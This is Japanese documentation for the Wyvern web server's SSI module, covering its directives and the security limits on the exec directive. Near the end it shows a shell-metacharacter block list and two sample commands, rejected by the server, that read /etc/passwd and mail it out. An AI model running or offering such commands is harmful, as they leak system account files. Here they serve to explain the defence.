SSI を利用する場合は、 SSI モジュールを有効にします。 wyvern.conf の SSI モジュールの設定部分のコメントを外してください。 もし、Wyvern が起動中なら設定ファイル修正後に HUP シグナルを送ってください。
Example:
# kill -HUP `cat /usr/local/wyvern/logs/wyvern.pid`
あるいは
# /usr/local/wyvern/sbin/wyvernctl restart
以下に Wyvern で利用可能な SSI の書式を示します。
#fsize コマンドなどで表示される ファイルサイズのフォーマットを指定します。 〜 にbytes を 指定するとバイト単位で、 addrev を指定すると Bytes, KBytes, MBytes などの適切な単位で表示されるようになります。
#echo コマンドなどで時刻を表示する際の フォーマットを指定します。 〜 には strftime(3) 内に記述されている '%' で始まる特別な表記を指定します。
指定したファイルを読み込んで表示します。 file="〜" の 〜 にはファイル名を指定します。 相対パスによるファイル名の指定はできません。 virtual="〜" の 〜 には仮想パス名を指定します。 仮想パス名は、「http://サーバ名/パス名」の「/パス名」の部分か 「http://サーバ名/~ユーザ名/パス名」の「/パス名」の部分です。
指定した環境変数の値を表示します。 〜 には次表に示す環境変数名を指定します。
SSI の #echo 書式で利用できる環境変数一覧 環境変数 説明 DOCUMENT_NAME 現在の文書のファイル名 DOCUMENT_URI 文書の仮想パス名(/docs/tutorials/foo.shtml など) QUERY_STRING_UNESCAPED クライアントから送信された検索用文字列 DATE_LOCAL 現在の時刻(ローカル時刻) DATE_GMT 現在の時刻(グリニッジ標準時) LAST_MODIFIED 現在の文書の最終更新時刻 時刻の表示は、 <!--#config timefmt="..."--> で指定したフォーマットに従います。
指定したファイルのサイズを表示します。表示のフォーマットは <!--#config sizefmt="..."--> で指定した内容に従います。 file="〜" と virtual="〜" の内容は #include コマンドと同様です。
指定したファイルの最終更新時刻を表示します。表示のフォーマットは <!--#config timefmt="..."--> で指定した内容に従います。 file="〜" と virtual="〜" の内容は #include コマンドと同様です。
〜で指定したコマンドを実行し、その結果を表示します。 引数の指定は、空白で区切って指定します。
<!--#exec cmd="/bin/ls -l /home/kouichi/"-->コマンド名は、必ず絶対パスで指定しないと正常に動作しないので、 注意してください。コマンド実行時の環境変数は、 CGI 環境変数一覧で示した内容が渡ります。
また、 &;`'\"|*?~<>^()[]{}$\n\r などの シェルのメタ文字を含むコマンドは、 セキュリティ上危険であると判断して実行しません。 同時に、ErrorLog で指定されたファイルにコマンドが記録されます。
次のような既述は問題があり、コマンドは実行されません。
- <!--#exec cmd="/bin/cat /etc/passwd|mail kouichi@MysticWALL.COM"-->
- <!--#exec cmd="mail kouichi@MysticWALL.COM < /etc/passwd"-->